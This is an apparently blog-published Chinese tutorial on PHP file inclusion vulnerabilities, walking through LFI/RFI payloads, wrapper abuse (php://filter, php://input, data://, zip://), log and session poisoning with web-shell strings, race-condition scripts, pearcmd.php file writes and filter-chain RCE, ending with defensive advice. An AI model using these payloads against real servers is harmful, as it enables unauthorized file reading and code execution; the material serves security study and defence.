PHP文件包含

PHP 文件包含漏洞(File Inclusion)指南

0x00 漏洞概述

文件包含漏洞(File Inclusion)是 Web 安全中一种常见且高危的漏洞。当 PHP 应用程序使用 includerequireinclude_oncerequire_once 等函数引入文件时,如果文件名(路径)由用户可控且未经过严格过滤,攻击者就可以通过构造恶意路径,让服务器包含并执行非预期的文件。

这可能导致:

  • 敏感信息泄露(LFI) :读取 /etc/passwd、数据库配置文件、源代码等。
  • 远程代码执行(RCE):通过包含包含恶意 PHP 代码的文件(如日志文件、上传的临时文件、Session 文件等),获得服务器权限。
  • 远程文件包含(RFI):如果配置允许,可直接包含远程服务器上的恶意脚本。

0x01 基础知识与环境

1. 核心函数

  • include($file) : 包含并运行指定文件。如果文件不存在,抛出 E_WARNING ,脚本继续执行
  • require($file) : 与 include 类似,但如果文件不存在,抛出 E_COMPILE_ERROR ,脚本停止执行
  • include_once($file): 如果文件已被包含过,则不会再次包含。
  • require_once($file): 如果文件已被包含过,则不会再次包含。

2. 关键配置 (php.ini)

配置项 默认值 (PHP 5.2+) 描述 影响
allow_url_fopen On 是否允许打开远程文件(如 http://ftp://)作为文件流。 影响 file:// 等部分协议。
allow_url_include Off 是否允许 include/require 远程文件。 影响 php://inputdata://http:// 等。RFI 的必要条件
open_basedir NULL 将 PHP 所能打开的文件限制在指定的目录树中。 防御 LFI 的有效手段。

0x02 基础利用与绕过

1. 基础 Payload

假设漏洞代码为:

php 复制代码
<?php include $_GET['file']; ?>
  • 本地文件读取 (Linux) : ?file=/etc/passwd
  • 本地文件读取 (Windows) : ?file=C:\Windows\win.ini

2. 目录遍历 (Path Traversal)

如果代码中预置了路径前缀:

php 复制代码
<?php include "lang/" . $_GET['file']; ?>

攻击者可以使用 ../ 回退目录:

  • ?file=../../../../etc/passwd

3. 后缀绕过

如果代码中强制添加了后缀:

php 复制代码
<?php include $_GET['file'] . ".php"; ?>
A. Null Byte 截断 (%00)
  • 条件 : PHP < 5.3.4 且 magic_quotes_gpc = Off
  • 原理 : PHP 底层 C 语言函数将 \0 视为字符串结束符。
  • Payload : ?file=../../etc/passwd%00
  • 解析 : 服务器实际看到的是 ../../etc/passwd\0.php,在 passwd 处截断。
B. 路径长度截断
  • 条件: PHP 版本较低(主要是 PHP 5.2.x)。
  • 原理: 操作系统对路径长度有限制(Windows 256 字节,Linux 4096 字节)。超过长度的部分会被丢弃。
  • Payload : ?file=../../etc/passwd/./././././...[重复数百次].../././.
  • 解析 : passwd 后的 .php 因为超出缓冲区长度被丢弃。
C. 协议利用 (zip://, phar://)
  • 原理 : 某些伪协议(如 zip://)允许通过 # 指定压缩包内的文件,# 后的内容作为压缩包内路径,代码拼接的 .php 不会影响 zip:// 对压缩包路径的解析(或者利用 # 截断)。
  • Payload : ?file=zip:///tmp/test.zip%23shell (代码自动拼接 .php -> shell.php)

0x03 PHP 伪协议 (Wrappers) 详解

PHP 提供了一系列 I/O 流包装器,熟练利用它们是利用文件包含漏洞的关键。

1. file://

  • 描述: 访问本地文件系统。
  • 依赖 : 不受 allow_url_fopenallow_url_include 限制。
  • Payload : ?file=file:///etc/passwd

2. php://filter (源码读取神器)

  • 描述: 这是一个元封装器,设计用于数据流打开时的筛选过滤。

  • 用途 : 读取 PHP 文件源码。直接 include PHP 文件会执行它,看不到源码;使用 base64-encode 过滤器可以将源码编码输出。

  • Payload :

    复制代码
    ?file=php://filter/read=convert.base64-encode/resource=config.php

    (解码 Base64 即可得到源码)

  • 进阶技巧 :

    • 绕过死亡 exit : 当 file_put_contents($file, "<?php exit();" . $content) 时,利用 filter 链(如 string.strip_tags 去除 XML 标签,或 convert.base64-decode 配合特定填充)将 exit() 破坏或解码为乱码。

3. php://input (RCE 神器)

  • 描述: 访问请求的原始数据的只读流。
  • 依赖 : allow_url_include = On
  • 用途: 执行 POST 数据中的 PHP 代码。
  • Payload :
    • URL : ?file=php://input
    • POST Data : <?php system('ls'); ?>

4. zip://, bzip2://, zlib:// (压缩流)

  • 描述: 访问压缩文件中的子文件。
  • 依赖 : 不受 allow_url_include 限制。
  • 场景: 可以上传 zip/jpg 文件,但无法直接包含时。
  • 利用 :
    1. 制作包含 <?php phpinfo(); ?>shell.php
    2. 压缩为 shell.zip,改名为 shell.jpg 上传。
    3. Payload : ?file=zip:///var/www/html/uploads/shell.jpg%23shell.php
      (注意: URL 中的 # 必须编码为 %23)

5. data:// (文本流)

  • 描述: RFC 2397 定义的数据流。
  • 依赖 : allow_url_fopen = Onallow_url_include = On
  • Payload :
    • ?file=data://text/plain,<?php phpinfo(); ?>
    • ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

0x04 进阶利用:环境资源投毒

当无法上传文件时,我们可以寻找服务器上已有的、内容可控的文件进行包含。

1. Web 日志投毒 (Apache/Nginx)

  • 原理: Web 服务器会将用户的请求信息(User-Agent, Referer, URL)记录在访问日志(access.log)或错误日志(error.log)中。
  • 利用步骤 :
    1. 确认日志路径 : 猜测常见路径(如 /var/log/apache2/access.log, /var/log/nginx/access.log)或通过 phpinfo / 读取配置文件获取。

    2. 注入恶意代码 : 使用 Netcat 或 Burp Suite 发送请求,将 User-Agent 修改为 PHP 代码。

      bash 复制代码
      nc target.com 80
      GET / HTTP/1.1
      Host: target.com
      User-Agent: <?php system($_GET['c']); ?>
    3. 包含日志 : ?file=/var/log/apache2/access.log&c=ls

  • 注意 :
    • 直接在浏览器修改 UA 可能会被 URL 编码,导致 PHP 代码失效,建议使用 Burp。
    • Docker 环境限制 : Docker 容器通常将日志重定向到 /dev/stdout/dev/stderr,PHP 默认没有权限包含这些设备文件,导致此法失效。

2. SSH 日志投毒

  • 原理 : SSH 登录失败时,用户名会被记录在 /var/log/auth.log
  • 利用步骤 :
    1. 使用恶意用户名尝试登录 SSH:

      bash 复制代码
      ssh '<?php system($_GET[c]); ?>'@target_ip
    2. 包含日志文件:
      ?file=/var/log/auth.log&c=ls

  • 依赖 : 目标开放 SSH 且 Web 用户(www-data)有权读取 /var/log/auth.log(通常需要 root 权限,但在某些配置不当的系统中可行)。

3. /proc/self/environ

  • 原理 : Linux 进程的 /proc/PID/environ 文件包含该进程的环境变量,self 指向当前进程。User-Agent 等 HTTP 头可能会出现在这里(取决于 CGI/FastCGI 配置)。
  • 利用 : 修改 User-Agent 注入代码,然后包含 /proc/self/environ
  • 现状: 现代系统和配置中,此文件通常不可读或不包含 User-Agent,成功率较低。

0x05 高级技巧:临时文件与条件竞争

如果无法利用日志,我们可以利用 PHP 或 Web 服务器处理请求时产生的临时文件

1. PHPInfo + LFI (条件竞争)

  • 原理 :
    • 当向 PHP 发送 multipart/form-data 请求(文件上传)时,无论后端是否处理上传,PHP 都会将文件暂存在临时目录(如 /tmp/phpXXXXXX)。
    • 该临时文件名在 phpinfo() 页面中是可见的(_FILES["file"]["tmp_name"])。
    • 请求结束后,临时文件被删除。
  • 利用 :
    • 攻击者并发发送大量请求:
      • 线程 A : 发送包含文件上传的请求给 phpinfo.php,并读取响应,提取临时文件名。
      • 线程 B: 拿到文件名后,迅速向存在 LFI 漏洞的页面发送请求包含该文件。
    • 技巧 : 在请求中加入大量垃圾数据(Padding),迫使 phpinfo 输出变慢,延长临时文件存活时间。
  • 适用场景 : 目标网站存在 phpinfo 页面。

2. Session Upload Progress (无需 phpinfo)

  • 原理 :

    • session.upload_progress.enabled 默认为 On。
    • 当 POST 请求包含 PHP_SESSION_UPLOAD_PROGRESS 字段时,PHP 会在上传过程中更新 Session 文件(如 /tmp/sess_[PHPSESSID])。
    • Session 内容包含我们传入的字段值(可控)。
    • session.upload_progress.cleanup 默认为 On,上传完成后立即清除 Session。
  • 利用 :

    1. 构造请求 : 发送 POST 请求,包含文件(大文件以延长上传时间)和 PHP_SESSION_UPLOAD_PROGRESS(值为 Payload)。
    2. 设置 Cookie : PHPSESSID=flag(指定 Session 文件名为 /tmp/sess_flag)。
    3. 条件竞争 : 在上传完成前(Session 被清除前),不断请求 LFI 页面包含 /tmp/sess_flag
  • Payload 示例 :

    python 复制代码
    # 伪代码逻辑
    while True:
        requests.post(url, 
            files={'f': ('a.txt', 'A'*10000)}, 
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("ls"); ?>'},
            cookies={'PHPSESSID': 'flag'}
        )
    # 并发线程:
    while True:
        requests.get(lfi_url + "?file=/tmp/sess_flag")

3. PHP 7 Segment Fault (崩溃保留临时文件)

  • 原理 :
    • 如果在文件上传请求处理过程中让 PHP 进程崩溃(Segment Fault),PHP 将来不及清理临时文件。
    • 这些临时文件会永久滞留在 /tmp 目录。
  • 触发崩溃 :
    • 利用 php://filter/string.strip_tags/resource=/etc/passwd (PHP 7.0 - 7.2 某些版本)。
    • 利用特定的 filter 组合触发内存错误。
  • 利用 :
    1. 发送会导致崩溃的请求,同时上传文件(包含 Payload)。
    2. 重复多次,使 /tmp 下积累多个名为 phpXXXXXX 的文件。
    3. 暴力破解文件名进行包含(Windows 下文件名只有 65535 种可能,Linux 下较难爆破但可结合其他信息)。

0x06 特定环境下的"奇技淫巧"

1. Windows 环境:通配符妙用

  • 背景 : PHP 在 Windows 下调用 FindFirstFileExW 查找文件,该 API 支持特殊的 DOS 通配符。
    • < (DOS_STAR): 匹配 0 个或多个字符。
    • > (DOS_QM): 匹配 1 个字符。
    • " (DOS_DOT): 匹配点号。
  • 利用 :
    • 上传文件产生临时文件(通常在 C:\Windows\Temp\phpXXXX.tmp)。
    • 我们不知道具体的 XXXX,但可以使用 php<< 来匹配。
  • Payload : ?file=C:\Windows\Temp\php<<
  • 解析 : php<< 会匹配到 php1A2B.tmp,从而成功包含。

2. Docker 环境:pearcmd.php 利用

  • 背景 :

    • Docker 的官方 PHP 镜像默认安装了 PEAR 扩展。
    • PEAR 的命令行工具位于 /usr/local/lib/php/pearcmd.php
    • Docker 容器中 register_argc_argv 默认为 On。
  • 原理 :

    • register_argc_argv=On 时,HTTP 请求的 Query String(如 ?key=value)在特定条件下(RFC 3875,无等号)会被解析为命令行参数 $argv
    • 包含 pearcmd.php 后,它会读取 $argv 并作为 PEAR 命令执行。
  • 利用 : 调用 PEAR 的 config-create 命令,将 Payload 写入文件。

  • Payload :

    http 复制代码
    GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php HTTP/1.1

    (解释: config-create 将第一个参数的内容写入到第二个参数指定的文件中)
    执行后,服务器会在 /tmp/shell.php 写入包含 phpinfo 的代码,随后包含该文件即可。

3. Nginx FastCGI 缓冲 (Temp File LFI)

  • 背景 :
    • 当 Nginx 接收到的 FastCGI 响应过大(超过 fastcgi_buffer_size)或请求 Body 过大时,会将内容写入临时文件。
    • 临时文件路径通常为 /var/lib/nginx/fastcgi/x/y/000...
    • 文件创建后会被 Nginx 立即删除(unlink),但只要 Nginx 进程未关闭该文件句柄(FD),文件内容仍在磁盘上。
  • 利用 :
    1. 触发缓存: 发送超大 Body 或让后端返回超大响应,迫使 Nginx 生成临时文件。
    2. 寻找文件 : 在 Linux 中,已删除但被进程打开的文件可以通过 /proc/PID/fd/FD_ID 访问。
    3. 竞争包含 :
      • 我们需要猜测 Nginx Worker 的 PID 和 FD 编号。
      • Payload: ?file=/proc/[PID]/fd/[FD]
      • 通过并发请求进行爆破和竞争。

4. require_once 绕过:多级软链接

  • 问题 : require_once 维护一个哈希表,记录已包含文件的 inode 或路径。如果想再次包含已被包含的敏感文件(例如为了结合 filter 读取 config.php 源码),会被拦截。
  • 技巧 : Linux 下 /proc/self/root 是指向根目录 / 的软链接。
  • 利用 :
    • 通过多层软链接改变文件路径,使其在 PHP 看来是一个"新文件",但实际指向同一个文件。

    • Payload :

      复制代码
      ?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php
    • 当软链接嵌套层数足够多时,可能会绕过 PHP 的某些缓存机制或路径规范化检查。


0x07 无文件 RCE:PHP Filter Chain (The End Of LFI)

这是一种不需要上传任何文件、不需要任何已有文件的 RCE 技术(hxp CTF 2021 提出)。

  • 原理 :

    • 利用 php://filter 的链式调用。
    • convert.iconv.* 过滤器在进行字符集转换时(如 UTF-8 转 UTF-7、UTF-8 转 ISO-2022-KR 等),会产生特定的字节序列。
    • 通过组合多种字符集转换,可以"凭空"生成任意的 Base64 字符。
    • 结合 convert.base64-decode,可以将生成的 Base64 字符串解码为 PHP 代码。
  • 利用 :

    • 不需要依赖任何外部文件,只需要能控制 include 的参数。
    • 使用工具生成超长的 filter 链。
  • 工具 : php_filter_chain_generator

  • Payload 示例 :

    复制代码
    ?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|...|resource=data://,a

0x08 防御建议

  1. 彻底杜绝变量覆盖 : 严禁直接将用户输入作为文件名传入 include/require

  2. 使用白名单 :

    php 复制代码
    $files = ['home' => 'home.php', 'about' => 'about.php'];
    if (array_key_exists($_GET['file'], $files)) {
        include $files[$_GET['file']];
    }
  3. 配置强化 (php.ini) :

    • open_basedir: 限制 PHP 只能访问特定目录。
    • allow_url_include = Off: 禁止远程文件包含。
  4. 关闭不必要的功能 : 如非必要,关闭 session.upload_progress.enabled

  5. WAF 拦截 : 过滤 ../, php://, /proc/, /var/log/ 等敏感关键字。


免责声明: 本文仅供网络安全学习与技术研究,请勿用于非法用途。

相关推荐
JaguarJack1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理3 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1233 天前
matlab画图工具
开发语言·matlab
dustcell.3 天前
haproxy七层代理
java·开发语言·前端
norlan_jame3 天前
C-PHY与D-PHY差异
c语言·开发语言
多恩Stone3 天前
【C++入门扫盲1】C++ 与 Python:类型、编译器/解释器与 CPU 的关系
开发语言·c++·人工智能·python·算法·3d·aigc
QQ4022054963 天前
Python+django+vue3预制菜半成品配菜平台
开发语言·python·django
QQ5110082853 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php